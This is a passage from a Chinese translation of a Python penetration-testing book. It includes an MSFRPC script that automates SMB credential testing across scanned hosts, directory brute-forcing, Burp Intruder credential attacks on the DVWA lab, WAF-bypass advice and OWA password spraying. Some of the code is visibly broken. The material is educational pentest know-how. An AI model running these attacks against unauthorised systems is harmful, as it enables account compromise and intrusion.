这个利用火车相对简单,但我们可以使用Metasploit 远程过程调用MSFRPC)自动化部分内容。此脚本将使用nmap库扫描端口445的活动端口,然后生成一个目标列表,以便使用通过参数传递给脚本的用户名和密码进行测试。脚本将使用相同的smb_enumusers_domain模块来识别具有重复凭据和其他可用用户登录的框。首先,我们需要安装 Python 的SpiderLabs msfrpc库。这个库可以在github.com/SpiderLabs/msfrpc.git找到。

注意

书中的 GitHub 存储库可以在github.com/funkandwagnalls/pythonpentest找到,并且其中有一个设置文件,可以运行以安装所有必要的软件包、库和资源。

我们正在创建的脚本使用netifaces库来识别哪个接口 IP 地址属于您的主机。然后,它扫描端口445,即 IP 地址、范围或类间域路由CIDR)地址上的 SMB 端口。它消除了属于您接口的任何 IP 地址,然后使用 Metasploit 模块auxiliary/scanner/smb/smb_enumusers_domain来测试凭据。同时,它验证了系统上登录的用户。除了实时响应之外,此脚本的输出还包括两个文件,一个包含所有响应的日志文件,以及一个保存具有 SMB 服务的所有主机的 IP 地址的文件。

提示

这个 Metasploit 模块利用了 RPCDCE,它不在端口445上运行,但我们正在验证该服务是否可用以进行后续利用。

用 Python 自动化利用火车

然后,如果作为攻击者发现其他凭据集进行测试,可以将此文件馈送回脚本,如下所示:

用 Python 自动化利用火车

最后,脚本可以直接传递哈希,就像 Metasploit 模块中所示的那样:

自动化利用 Python 的利用火车

注意

每次运行脚本时,输出都会略有不同,这取决于你获取的控制台标识符来执行命令。唯一的真正区别将是与 Metasploit 控制台启动典型的附加横幅项目。

现在有几件事情必须说明,是的,你可以只生成一个资源文件,但是当你开始涉及拥有数百万个 IP 地址的组织时,这变得难以管理。此外,MSFRPC 也可以直接将资源文件馈送到其中,但这可能会显著减慢过程。如果你想进行比较,请重写此脚本,以执行与你之前编写的ssh_login.py脚本相同的测试,但直接集成 MSFRPC。

注意

未来书中最重要的事项是,许多未来的脚本将非常庞大,并具有额外的错误检查。由于你的技能是从零开始建立的,已经说明的概念将不会被重复。相反,整个脚本可以从 GitHub 下载,以识别脚本的细微差别。此脚本确实使用了ssh_login.py脚本中使用的先前的netifaces函数,但出于简洁起见,我们不会在本章中复制它。你可以在这里下载完整的脚本raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/msfrpc_smb.py

就像所有脚本一样,需要建立库,其中大部分你已经熟悉,最新的一个与 MSFRPC 相关的库是由SpiderLabs提供的。此脚本所需的库如下所示:

import os, argparse, sys, time
try:
    import msfrpc
except:
    sys.exit("[!] Install the msfrpc library that can be found 
      here: https://github.com/SpiderLabs/msfrpc.git")
try:
    import nmap
except:
    sys.exit("[!] Install the nmap library: pip install python-nmap")
try:
    import netifaces
except:
    sys.exit("[!] Install the netifaces 
      library: pip install netifaces")

然后,我们构建一个模块,以识别将针对其运行辅助模块的相关目标。首先,我们设置构造函数和传递的参数。请注意,对于此脚本,我们有两个要测试的服务名称,microsoft-dsnetbios-ssn,因为根据nmap的结果,任何一个都可能代表端口 445。

def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile):
    hostlist = []
    pre_pend = "smb"
    service_name = "microsoft-ds"
    service_name2 = "netbios-ssn"
    protocol = "tcp"
    port_state = "open"
    bufsize = 0
    hosts_output = "%s/%s_hosts" % (dir, pre_pend)

之后,我们配置 nmap 扫描程序以通过文件或命令行扫描详细信息。请注意,hostlist是由文件加载的所有地址的字符串,并且它们用空格分隔。打开并读取ipfile,然后将所有新行替换为空格,因为它们被加载到字符串中。这是 nmap 库的特定hosts参数的要求。

    if ipfile != None:
  if verbose > 0:
print("[*] Scanning for hosts from file %s") % (ipfile)
        with open(ipfile) as f:
            hostlist = f.read().replace('\n',' ')
        scanner.scan(hosts=hostlist, ports=port_num)
    else:
  if verbose > 0:
        print("[*] Scanning for host\(s\) %s") % (ips)
        scanner.scan(ips, port_num)
    open(hosts_output, 'w').close()
    hostlist=[]
    if scanner.all_hosts():
        e = open(hosts_output, 'a', bufsize)
    else:
        sys.exit("[!] No viable targets were found!") 

攻击系统上所有接口的 IP 地址都从测试池中删除。

    for host in scanner.all_hosts():
        for k,v in ifaces.iteritems():
            if v['addr'] == host:
                print("[-] Removing %s from target list since it 
                    belongs to your interface!") % (host)
                host = None 

最后,详细信息被写入相关的输出文件和 Python 列表,然后返回到原始调用来源。

        if host != None:
            e = open(hosts_output, 'a', bufsize)
            if service_name or service_name2 in 
              scanner[host][protocol][int(port_num)]['name']:
                if port_state in 
                    scanner[host][protocol][int(port_num)]['state']:
                    if verbose > 0:
                        print("[+] Adding host %s to %s since the service 
                            is active on %s") % (host, hosts_output, port_num)
                    hostdata=host + "\n"
                    e.write(hostdata)
                    hostlist.append(host)
    else:
        if verbose > 0:
               print("[-] Host %s is not being added to %s since the 
                   service is not active on %s") % 
                       (host, hosts_output, port_num)
    if not scanner.all_hosts():
        e.closed
    if hosts_output:
        return hosts_output, hostlist 

接下来的函数创建将要执行的实际命令;对于扫描返回的每个主机,将调用此函数作为潜在目标。

def build_command(verbose, user, passwd, dom, port, ip):
    module = "auxiliary/scanner/smb/smb_enumusers_domain"
    command = '''use ''' + module + '''
set RHOSTS ''' + ip + '''
set SMBUser ''' + user + '''
set SMBPass ''' + passwd + '''
set SMBDomain ''' + dom +'''
run
'''
    return command, module

最后的函数实际上启动了与 MSFRPC 的连接,并针对特定主机执行相关命令。

def run_commands(verbose, iplist, user, passwd, dom, port, file):
    bufsize = 0
    e = open(file, 'a', bufsize)
    done = False

脚本与 MSFRPC 建立连接,然后创建控制台,然后通过特定的console_id跟踪它。不要忘记,msfconsole可以有多个会话,因此我们必须将我们的会话跟踪到console_id

    client = msfrpc.Msfrpc({})
    client.login('msf','msfrpcpassword')
    try:
        result = client.call('console.create')
    except:
        sys.exit("[!] Creation of console failed!")
    console_id = result['id']
    console_id_int = int(console_id)

然后,脚本遍历了已确认具有活动 SMB 服务的 IP 地址列表。然后,脚本为每个 IP 地址创建了必要的命令。

    for ip in iplist:
        if verbose > 0:
            print("[*] Building custom command for: %s") % (str(ip))
        command, module = build_command(verbose, user, 
          passwd, dom, port, ip)
        if verbose > 0:
            print("[*] Executing Metasploit module %s 
              on host: %s") % (module, str(ip)) 

然后将命令写入控制台,并等待结果。

        client.call('console.write',[console_id, command])
        time.sleep(1)
        while done != True:

我们等待每个命令执行的结果,并验证返回的数据以及控制台是否仍在运行。如果是,我们延迟读取数据。一旦完成,结果将被写入指定的输出文件。

            result = client.call('console.read',[console_id_int])
            if len(result['data']) > 1:
                if result['busy'] == True:
                    time.sleep(1)
                    continue
                else:
                    console_output = result['data']
                    e.write(console_output)
                    if verbose > 0:
                        print(console_output)
                    done = True

我们关闭文件并销毁控制台,以清理我们所做的工作。

    e.closed
    client.call('console.destroy',[console_id])

脚本的最后部分涉及设置参数、设置构造函数和调用模块。这些组件与以前的脚本类似,这里没有包括,但详细信息可以在 GitHub 上的先前提到的位置找到。最后的要求是在msfconsole中加载msgrpc,并使用我们想要的特定密码。因此,启动msfconsole,然后在其中执行以下操作:

load msgrpc Pass=msfrpcpassword

注意

命令没有输入错误,Metasploit 已经转移到msgrpc而不是msfrpc,但每个人仍然称其为msfrpc。最大的区别是msgrpc库使用 POST 请求发送数据,而msfrpc使用可扩展标记语言XML)。所有这些都可以通过资源文件自动化设置服务。

总结

在本章中,我们重点介绍了一种在样本环境中移动的方法。具体来说,如何利用相关框,提升权限并提取额外的凭据。从这个位置,我们确定了其他可行的主机,我们可以横向移动到这些主机,并且目前登录到这些主机的用户。我们使用 Veil Framework 生成自定义有效载荷来绕过 HIPS,并执行了 PtH 攻击。这使我们能够使用 Mimikatz 工具从内存中提取其他凭据。然后,我们使用 Python 和 MSFRPC 自动识别了可行的次要目标和登录到这些目标的用户。这些内容可能会让人感到非常惊讶,无论是复杂性还是缺乏复杂性,这取决于你的期望。请记住,这将完全取决于你的环境以及实际破解所需的工作量。本章提供了许多与利用网络和基于系统的资源相关的细节,下一章将突出不同的角度,即 Web 评估。

第六章:用 Python 评估 Web 应用程序

Web 应用程序评估或 Web 应用程序渗透测试,与基础设施评估相比是一种不同的动物。这也取决于评估的目标。Web 应用程序评估,如移动应用程序评估,往往以错误的方式进行。网络或基础设施渗透测试已经成熟,客户对结果的期望也变得更加明智。但对于 Web 应用程序或移动应用程序评估并非总是如此。有各种工具可用于分析应用程序的漏洞,包括 Metasploit、Nexpose、Nessus、Core Impact、WebInspect、AppScan、Acunetix 等。其中一些工具对于 Web 应用程序漏洞评估要好得多,但它们都有一些共同点。其中之一是它们不能替代渗透测试。

这些工具有它们的用处,但取决于参与范围和试图识别的弱点,它们经常不够。特定产品如 WebInspect、AppScan 和 Acunetix 适用于识别潜在的漏洞,特别是在系统开发生命周期SDLC)期间,但它们会报告误报并错过复杂的多阶段利用。每个工具都有其用处,但即使使用这些工具,也可能会忽略相关风险。

现在这个硬币的另一面是,渗透测试不会发现 Web 应用程序中的每个漏洞,但它本来就不是为此而设计的。Web 应用程序渗透测试的重点是识别系统性的开发问题、流程和关键风险。因此,识别出的漏洞可以迅速得到纠正,但具体的弱点指向应该在整个 SDLC 中解决的更大的安全实践。

大多数应用程序渗透测试的重点应该涉及以下至少一些组件,如果不是全部:

  • 对当前开放式 Web 应用安全项目OWASP)十大漏洞的分析。

  • 识别泄露数据或在某些位置留下残留数据痕迹的应用程序领域,其中包括未记录或未链接的页面或目录。这也被称为数据永久性。

  • 恶意行为者可以从一个帐户类型横向移动到另一个帐户类型或提升权限的方式。

  • 应用程序可能提供攻击者注入或操纵数据的方式的领域。

  • 应用程序可能创建拒绝服务DoS)情况的方式,但通常是在不利用或明确验证的情况下完成,以防止对业务运营造成任何影响。

  • 最后,攻击者如何渗透内部网络。

考虑所有这些组件,你会发现应用程序扫描工具无法识别所有这些组件。此外,渗透测试应该有具体的目标和目标,以识别具有相关概念证明的指示器和问题。否则,如果评估人员试图根据复杂性识别应用程序中的所有漏洞,可能需要很长一段时间。

这些建议和应用程序代码应该由客户进行审查。客户应该纠正评估人员指出的所有指定位置,然后继续并识别评估人员在此期间可能未能识别的其他弱点。完成后,SDLC 应该更新,以便将来的弱点在开发中得到纠正。最后,应用程序越复杂,涉及的开发人员就越多;因此,在测试时,要注意漏洞热图。

就像渗透测试人员一样,开发人员的技能水平可能各不相同,如果组织的 SDLC 不够成熟,应用程序领域的漏洞等级可能会因每个开发团队的不同而有所不同。我们称之为漏洞热图,即应用程序中的某些地方可能比其他地方有更多的漏洞。这通常意味着开发人员或团队没有必要的技能以与其他团队相同的水平交付产品。存在更多漏洞的区域也可能表明存在更多关键漏洞。因此,如果注意到应用程序的特定区域像圣诞树一样闪烁着弱点,就要提高你所关注的攻击向量的类型。

根据参与的范围,开始专注于可能破解安全围栏的漏洞,例如结构化查询语言注入SQLi)、远程本地文件包含RFI/LFI)、未经验证的重定向和转发、不受限制的文件上传,最后是不安全的直接对象引用。这些漏洞都与应用程序的请求-响应模型的操纵有关。

应用程序通常采用请求-响应模型工作,使用 cookie 跟踪特定用户会话数据。因此,当编写脚本时,必须以一种处理发送数据、接收数据并解析结果的方法构建它们,以确定是否符合预期。然后,可以创建后续请求以进一步推进。

识别活动应用程序与开放端口

在评估包括内容交付网络CDN)在内的大型环境时,您会发现会识别出数百个开放的 Web 端口。这些 Web 端口中大多数没有部署活动的 Web 应用程序,因此您需要访问每个页面或请求 Web 页面头。这可以通过对站点的http://https://版本执行HEAD请求来简单地完成。使用urllib2的 Python 脚本可以轻松执行此操作。该脚本只需一个主机互联网协议IP)地址文件,然后构建创建相关统一资源定位器URL)的字符串。当请求每个站点时,如果收到成功的请求,数据将被写入文件:

#!/usr/bin/env python
import urllib2, argparse, sys
defhost_test(filename):
    file = "headrequests.log"
    bufsize = 0
    e = open(file, 'a', bufsize)
    print("[*] Reading file %s") % (file)
    with open(filename) as f:
        hostlist = f.readlines()
    for host in hostlist:
        print("[*] Testing %s") % (str(host))
        target = "http://" + host
        target_secure = "https://" + host
        try:
            request = urllib2.Request(target)
            request.get_method = lambda : 'HEAD'
            response = urllib2.urlopen(request)
        except:
            print("[-] No web server at %s") % (str(target))
            response = None
        if response != None:
            print("[*] Response from %s") % (str(target))
            print(response.info())
            details = response.info()
            e.write(str(details))
        try:
            response_secure = urllib2.urlopen(request_secure)
            request_secure.get_method = lambda : 'HEAD'
            response_secure = urllib2.urlopen(request_secure)
        except:
            print("[-] No web server at %s") % (str(target_secure))
            response_secure = None
        if response_secure != None:
            print("[*] Response from %s") % (str(target_secure))
            print(response_secure.info())
            details = response_secure.info()
            e.write(str(details))
    e.close()

以下屏幕截图显示了脚本在屏幕上运行时的输出:

识别活动应用程序与开放端口

注意

完整版本的脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/headrequest.py找到。如果需要,可以轻松修改此脚本以执行后续任务。已经有工具如PeppingTomEyeWitness可用,比这个脚本更好地完成这项活动,但是了解如何构建这个基本脚本将使您能够根据需要包含额外的分析。

使用 Python 识别隐藏文件和目录

当我们访问已识别的 IP 地址的网站时,我们发现它是可恶的易受攻击的 Web 应用程序DVWA)。我们还看到它已将默认登陆页面的详细信息附加到我们的初始请求中。这意味着我们从http://192.168.195.145/dvwa/login.php网站开始,如下面的屏幕截图所示:

使用 Python 识别隐藏文件和目录

现在我们有了一个起点进行测试,并且使用这些详细信息,我们可以寻找隐藏的目录和文件。让我们修改我们的最后一个脚本,自动查找隐藏的文件或目录。

这样做的最佳方式是从我们所在的站点的基本目录开始。您可以向上级跳转,但在多个网站托管的环境中,您可能会跳出范围。因此,在进行攻击之前,请了解您的环境。如您在下面的截图中所见,该脚本运行文件夹和文件名的文件,并将它们附加到目标站点。然后我们会报告它们是否有效:

#!/usr/bin/env python
import urllib2, argparse, sys
defhost_test(filename, host):
    file = "headrequests.log"
    bufsize = 0
    e = open(file, 'a', bufsize)
    print("[*] Reading file %s") % (file)
    with open(filename) as f:
        locations = f.readlines()
    for item in locations:
        target = host + "/" + item
        try:
            request = urllib2.Request(target)
            request.get_method = lambda : 'GET'
            response = urllib2.urlopen(request)
        except:
            print("[-] %s is invalid") % (str(target.rstrip('\n')))
            response = None
        if response != None:
            print("[+] %s is valid") % (str(target.rstrip('\n')))
            details = response.info()
            e.write(str(details))
    e.close()

知道这一点,我们可以加载四个最常见的隐藏或未链接位置,这些位置是网站的admindashboardrobots.txtconfig。使用这些数据,当我们运行脚本时,我们可以识别出两个可行的位置,如下面的截图所示。Robots.txt很好,但config通常意味着如果权限不正确或文件未被 Web 服务器使用,我们可以找到用户名和密码。

使用 Python 识别隐藏文件和目录

如您在此处所见,我们得到了目录内容的列表:

使用 Python 识别隐藏文件和目录

不幸的是,当您打开config.inc.php文件时,如此截图所示,没有显示任何内容:

使用 Python 识别隐藏文件和目录

管理员和支持人员并不总是理解他们的一些行为所产生的影响。当从config文件创建备份时,如果它们没有被积极使用,或者权限设置不正确,你通常可以通过浏览器读取它们。Linux 系统上的备份文件以~结尾。我们知道这是一个 Linux 系统,因为之前的HEAD请求显示它是一个 Ubuntu 主机。

提示

请记住,管理员和安全工具可以操纵标头,因此不应将其视为信息的权威来源。

如您在下面的截图中所见,该请求打开了一个config文件,为我们提供了访问数据库服务器所需的详细信息,从中我们可以提取关键数据:

使用 Python 识别隐藏文件和目录

作为渗透测试人员,您必须高效利用时间,正如之前提到的,这是成功渗透测试的障碍之一。这意味着当我们研究数据库的内容时,我们也可以设置一些自动化工具。一个简单的测试是使用 Burp Suite 的 Intruder 功能。

注意

完整版本的dirtester.py脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/dirtester.py找到。

使用 Burp Suite 进行凭证攻击

portswigger.net/burp/download.html下载 Burp Suite 免费版,然后运行它。确保您使用的浏览器不会干扰您的应用程序测试评估。大多数现代浏览器会自动减轻您的测试工作,而且大多数这些保护措施无法关闭,以完成无阻碍的测试。Firefox 具有这些保护功能,但可以关闭以进行开发和安全分析。此外,Firefox 的插件支持使您能够更好地评估应用程序。许多刚开始的评估人员无法理解为什么他们刚刚执行的一些新的跨站脚本攻击XSS)被阻止。通常是 Chrome 或 Internet Explorer 中的一些内置浏览器保护说它是关闭的,但实际上并非如此。

现在,从 Firefox 中,通过在手动代理配置中输入127.0.0.1端口 8080来打开本地代理支持,如下所示:

使用 Burp Suite 进行凭证攻击

在评估 Web 应用程序时,您希望将范围限制在您想要测试的系统上。确保您设置了这一点,然后过滤所有其他目标以清理输出,并防止自己错误地攻击其他主机。这可以通过右键单击站点地图窗口中的主机,或单击范围选项卡并手动添加来完成,如此截图所示:

使用 Burp Suite 进行凭证攻击

现在 Burp 已经设置好,我们可以开始评估 DVWA 网站,该网站有一个简单的登录页面,需要用户名和密码。加载每个网页时,您必须禁用拦截模式,或单击转发以转到下一个页面。我们将在几分钟内需要拦截功能,因此我们将保持启用。基本上,Burp Suite——如前所述——是一个透明代理,可以在网站和浏览器之间发送所有指定的流量。这使您可以实时操纵数据和流量,这意味着您可以使应用程序执行与预期不同的操作。

要开始此分析,我们必须查看登录页面如何格式化其请求,因为它被发送到服务器,以便进行操纵。因此,我们在登录提示中提供错误的用户名和密码——对于用户名和密码都使用字母a——并在代理中捕获请求。以下图片显示了 Burp Intruder 捕获的错误登录的原始捕获。

使用 Burp Suite 进行凭证攻击

然后,右键单击它,选择发送到入侵者,并在代理中关闭拦截。这样我们就可以重复操纵发送到服务器的请求,看看是否可以获得不同的响应。

按照这种模式,我们可以配置攻击以运行用户名和密码列表,这可能会授予我们访问权限。单击入侵者主选项卡和位置次要选项卡。选择最初提供的用户名和密码的两个位置,然后从下拉菜单中选择簇弹,如下截图所示:

注意

入侵者攻击有多种类型,簇弹将是您评估中最常用的类型。有关入侵者攻击的更多详细信息,请访问support.portswigger.net/customer/portal/articles/1783129-configuring-a-burp-intruder-attack

使用 Burp Suite 进行凭证攻击

然后创建两个列表;载荷集 1 用于用户名,载荷集 2 用于密码。

使用 Burp Suite 进行凭证攻击

接下来,选择始终以跟随重定向,因为登录通常会创建网站转换。

提示

为整个评估设置一个严格的范围,然后使用入侵者忽略范围的好处是,您知道在整个过程中不会擅自进入意外的领域。

使用 Burp Suite 进行凭证攻击

然后单击入侵者菜单项,并选择开始,将显示一个新的弹出窗口。您可以通过与其他结果相比的大小变化来识别可行的帐户。

使用 Burp Suite 进行凭证攻击

现在您可以直接访问 Web 应用程序,这使您可以浏览应用程序。

使用 twill 浏览源代码

Python 有一个库,允许您在源级别浏览和与 Web 应用程序交互。安装库后,您可以导入库,或使用twill shell,称为twill-sh

使用 twill 浏览源代码

然后加载目标网站,并使用以下命令查看页面的源代码:

go http://192.168.195.159/dvwa/index.php
show

这只是显示了网站的源代码,这使您可以进一步与网站交互。

使用 twill 浏览源代码

这允许你直接与网站的组件进行交互,并确定需要提交的内容。twill-sh库在交互模式下运行时提供了帮助支持,但它是一个有限的工具。twill 擅长的是与源代码进行交互,并识别网站可能感兴趣的区域。它不适用于具有重要动态内容或广泛页面的网站。例如,我运行了info命令,试图识别网站的特定内容,就像这样:

使用 twill 浏览源代码

在这个基本水平上,你可以了解应用程序中可以操纵的内容类型、数据格式和其他细节,但在 Python 中有更好的库可以实现与下面描述的相同的结果:

了解何时使用 Python 进行 Web 评估

Python 有几个非常有用的库,用于执行 Web 应用程序评估,但也有一些限制。Python 最适用于无法通过透明代理手动模拟的 Web 应用程序的小型自动化组件,例如 Burp。这意味着你在应用程序中找到的特定工作流可能是临时生成的,无法通过透明代理轻松复制。特别是在涉及时间的问题时。因此,如果你需要使用多个请求和响应机制与后端服务器进行交互,那么 Python 可能是合适的选择。

了解何时使用特定的库

在处理 Web 应用程序时,主要会使用五个库。在历史上,我最常使用的是urllib2库,这是因为它具有很多出色的功能和易于原型代码的方法,但这个库已经过时了。你会发现它缺少一些重要的功能,并且与新时代的 Web 应用程序交互的更高级方法被认为是不可用的,这与下面描述的新库相比。httplib2 Python 库在与网站交互时提供了强大的功能,但与urllib2mechanizerequesttwill相比,它要难得多。也就是说,如果你需要处理与代理相关的复杂检测功能,这可能是你最好的选择,因为发送的头部数据可以完全操纵,以完美模拟标准浏览器流量。在使用于真实应用程序之前,应该在模拟环境中进行充分测试。通常,这个库会因为客户端请求的方式而提供错误的响应。

如果你来自 Perl 世界,你可能会立即倾向于将mechanize作为你的首选库,但它在处理动态网站时效果不佳,在某些情况下甚至根本无法使用。那么今天的答案是什么?request库。它非常干净,并提供了满足当今复杂 Web 交互挑战的必要功能。为了突出这两者之间的差异和原型代码,我使用httplib2request创建了应用凭证攻击脚本。这些脚本的目的是识别活动凭证集并捕获相关的 cookie。完成后,可以向任一脚本添加其他功能。此外,这两个脚本突出了库集之间的差异。

第一个例子是httplib2版本,如下所示:

了解何时使用特定的库

第二个是request库的版本,可以在下面的截图中看到:

了解何时使用特定的库

注意

基于请求的脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/request_brute.py找到,httplib2脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/httplib2_brute.py找到。

正如您所看到的,它们的长度几乎相同,但请求中的陈述制作了 Web 流量模拟变得更简单。

在 Web 评估期间保持高效

使用这样的脚本或 Burp 之类的脚本的好处在于分析可以被操纵、注入或暴力破解的参数。具体来说,您可以与通过 Web 浏览器无法直接看到的代码功能进行交互,速度超出了人类的交互速度。其中的例子包括构建常见 SQLi 或 XSS 攻击的利用列表。构建常见的 SQLi 攻击或 XSS 攻击列表。然后将它们加载到网站上的相关参数中,以识别漏洞。您将不得不修改上述脚本以命中目标参数,但这将大大加快识别潜在漏洞的过程。

注意

每个数据库实例的常见注入类型的最佳 SQLi 列表可以在pentestmonkey.net/category/cheat-sheet/sql-injection找到。同样好的 XSS 列表可以在www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet找到。其中一些细节也内置在 Burp Suite 中,如support.portswigger.net/customer/portal/articles/1783128-Intruder_Common%20Uses.html中所强调的。

今天,我们必须应对Web 应用程序防火墙WAFs)和可以被绕过的保护工具,但您需要了解这些保护是如何设置的,以及什么样的字符编码可以绕过它们。请记住,如果存在白名单或黑名单,它们是基于特定字符集和/或编码的,这可能会阻止您的利用尝试。通过自动化测试,我们可以识别那些基于捕获的项目,防止利用 Web 应用程序,并且我们可以根据此定制我们的注入以绕过已经设置的保护。

提示

Web 应用程序评估的字符编码与生成有效载荷完全不同。因此,您应该了解这些陈述并不矛盾。大多数 WAF 并不会在将数据与其白名单和/或黑名单进行比较之前智能地检测和解码数据。因此,您可以通过将字符格式更改为应用程序可以理解但 WAF 无法理解的内容来绕过这些保护机制。

这对于诸如sqlmap之类的工具非常重要,它非常适用于验证 SQLi,但它的请求应该定制。只有在确认存在可疑的注入漏洞后才应使用它。然后应该用它来构建概念验证,提取数据或者妥协系统。加载sqlmap来命中每个参数以寻找 SQLi 是一个非常耗时的过程。它可能会提供潜在的误报并破坏系统。

提示

请记住,如果您不自定义参数和传递给sqlmap的请求,它可能会将非盲注入攻击转变为盲注入攻击,这将显著影响完成任务所需的时间。该工具可能是市场上最好的工具,但没有聪明的用户,它有时会迷失方向。

总结

在本章中,我们讨论了 Web 应用程序评估和普通网络评估之间的区别。强调了识别活动网页与开放端口的方法,并演示了如何使用 Burp 识别未链接或隐藏的内容并执行凭据攻击。此外,本章还演示了如何使用 twill 浏览网站,提取数据,然后创建脚本,以便使用不同的库构建请求-响应链。本章的总结强调了如何通过使用脚本和开源工具来检查特定漏洞的站点以提高效率。

在下一章中,我们将看到如何利用这些技术和其他弱点来攻破组织的边界。

第七章:用 Python 破解边界

大多数评估人员必须应对的最困难的问题是找到一种方法,从互联网上打破内部网络,而不会钓鱼组织的民众。有时会有广泛暴露的网络,但大多数组织已经学会了加强外部边界。不幸的是,仍然存在一个硬外部和一个较软的内部,监控控制较轻,无法阻止真正的恶意行为者侵害资源。这意味着我们应该模拟恶意行为者执行的活动来破解边界。这反过来又意味着了解今天典型的边界是什么样子。

理解今天的边界

一些网络仍然暴露了不应该暴露的服务,但大多数情况下,这些暴露的服务很少会带来可利用的风险。这些具体例子的突出将引发您作为评估人员的心态转变,您可以破解组织的边界。这些并不是互联网上可能发现的所有例子,但它们将突出共同点。

明文协议

文件传输协议(FTP)和 Telnet 是明文协议的例子,可能会暴露在边界上,并且通常不会带来大多数自动化工具所排名的风险。除非服务器包含关键数据或可以导致关键数据访问,具有已知的远程代码执行(RCE)漏洞,或者解决方案中有默认或已知的凭据。它们仍然不应该暴露在互联网上,但它们通常不像大多数漏洞管理系统(VMS)所排名的那样危险。原因是攻击者要利用它,他或她有四种主要方法来破坏一个帐户。

最常见的方法是嗅探凭据,这意味着他或她必须在通信的客户端或服务器端本地存在,或者在通过路由路径的通道中。第二种方法是通过破坏存储这些凭据的系统。第三种是通过执行某种类型的社会工程攻击,这意味着如果用户容易受到攻击,这些凭据可能会获得对许多其他服务的访问权限,而不仅仅是明文协议。第四种是对服务执行在线凭据攻击,例如密码喷射、字典攻击或暴力破解。这并不是说明文协议没有风险,而是指出它比 VMS 解决方案所宣传的更难利用。

Web 应用程序

通过多年的评估、妥协和安全工程师提出的建议,今天暴露的服务的主要例子是 Web 应用程序。这些应用程序可以在各种端口上,包括非标准端口。它们通常是负载平衡的,可能通过复杂的内容交付网络(CDN)提供,这有效地提供了从更接近请求用户基地的服务器提供的材料的缓存版本。此外,这些应用程序可以从虚拟化平台提供,这些平台与其他系统隔离在提供商的环境中。因此,即使您破解了 Web 应用程序,您可能也无法访问目标网络。如果您想知道为什么在破解 Web 应用程序系统后无法取得任何进展,请记住这一点。还要确保您有权限测试客户端未受控制的网络。

加密远程访问服务

例如,远程桌面协议RDP)和安全外壳SSH)等服务通常提供对内部网络的直接访问。这些服务可以通过多因素身份验证进行保护,并且它们是加密的,这意味着执行中间人MitM)攻击要困难得多。因此,针对这些服务的攻击将取决于未设置的控制措施,而不是它们的存在。

虚拟专用网络(VPN)

除了 Web 服务之外,暴露在互联网上的另一个最常见的服务是 VPN,其中包括但不限于点对点隧道协议(PPTP)互联网安全协会和密钥管理协议(ISAKMP)等。对这些服务的攻击通常是多阶段的,并且需要获取其他信息,例如组名或组密码。这将是除了标准用户名和密码之外,作为特定用户进行身份验证的额外步骤。

许多时候,根据实施情况,您甚至可能需要特定的软件与设备关联,例如 Citrix 或 Cisco AnyConnect。一些供应商甚至对其 VPN 软件的许可副本收取费用,因此即使您找到了所有必要的详细信息,您可能仍然需要找到一个有效的软件副本或正确的版本。此外,盗版这些软件组件,而不是购买它们,甚至可能通过使用有自己责任的毒害版本来打开您或您客户的网络,使其面临妥协的风险。

邮件服务

我们已经广泛讨论了邮件服务可能被利用的方式。您仍然会看到这些服务暴露在外,这意味着可能仍然有机会找到所需的详细信息。

域名服务(DNS)

与识别与完全合格域名FQDN)相关的Internet ProtocolIP)地址有关的服务。许多时候,这些可能在提供的 IP 范围内,但实际上超出了范围,因为它们是由互联网服务提供商ISP)拥有的。此外,昨天的漏洞,如区域传输,在今天的网络中通常不容易被利用。

用户数据报协议(UDP)服务

除了已经提到的作为 UDP 服务运行的服务之外,您可能会发现简单网络管理协议SNMP)和简单文件传输协议TFTP)。这两种服务都可以提供系统的详细信息和访问权限,具体取决于它们所透露的信息。如果找到正确的社区字符串,SNMP 可以提供系统详细信息,有时甚至可以提供系统本身的密码,尽管这在面向互联网的系统上非常罕见。另一方面,TFTP 被用作网络设备配置的主要手段,防火墙管理员经常错误地将该服务从非军事区DMZ)或半受信任的网络暴露到互联网上。

注意

您可以设置自己的 Ubuntu TFTP 服务器来执行这种攻击,方法是从www.ubuntu.com/download/alternative-downloads下载 Ubuntu,并使用askubuntu.com/questions/201505/how-do-i-install-and-run-a-tftp-server中的详细信息设置服务器。

了解帐户和服务之间的联系

在面对互联网的资源时,你正在尝试确定哪些服务可能存在漏洞,使你能够访问关键服务。因此,例如,SSH 或 Telnet 可能与 Windows 帐户身份验证无关,除非组织非常成熟,并且正在使用诸如 Centrify 之类的产品。因此,针对这些类型的服务的字典攻击可能无法访问允许你使用提取的详细信息进行横向移动的资源。此外,由于易于整合此类设备,大多数管理团队对 Linux 和基于 Unix 的资源在安全环境中具有相当好的监控。

使用 Burp Suite 破解收件箱

我们在第六章中强调了如何使用 Burp Suite 进行密码喷洒,使用 Python 评估 Web 应用程序。使用 Burp Suite 最好的目标之一是面向互联网的Outlook Web AccessOWA)界面。这是你可以进行的最简单的攻击之一,但也是最响亮的攻击之一。你应该始终减少命中收件箱的时间,并使用符合 Active Directory 复杂性要求的非常常见的密码,如前几章中所述。

一旦你确定了与之前请求相比具有不同字节大小的响应,可能会突出显示你已经找到了一个具有有效凭据集的活动收件箱。使用这些详细信息访问收件箱,并寻找关键数据。关键数据包括任何可能被认为对公司敏感的东西,这将突出对领导层的风险或展示需要立即或计划的活动,以纠正该风险。它还包括任何可能允许你访问组织本身的东西。

示例包括通过电子邮件发送的密码和用户名,KeePass 或 LastPass 文件,网络的远程访问指令,VPN 软件,有时甚至是软件令牌。想想你的组织在电子邮件中发送的东西;如果没有多因素身份验证,这是攻击向量的一个很好的选择。为此,越来越多的组织已经转向了多因素身份验证,因此,这种攻击向量正在消失。

识别攻击路径

正如许多书籍中所述,包括本书在内,人们经常忘记 UDP。这在一定程度上是因为针对 UDP 服务的扫描的响应经常是虚假的。来自诸如nmapscapy之类的工具的返回数据可以为实际上是打开的端口提供响应,但报告为Open|Filtered

了解周界扫描的限制

举例来说,对主机的研究表明,基于另一个服务的描述性横幅,TFTP 服务器可能在其上处于活动状态,但使用nmap进行的扫描指向该端口为open|filtered

以下图显示了 UDP 服务 TFTP 的响应为 open|filtered,如前所述,尽管它已知为打开:

了解周界扫描的限制

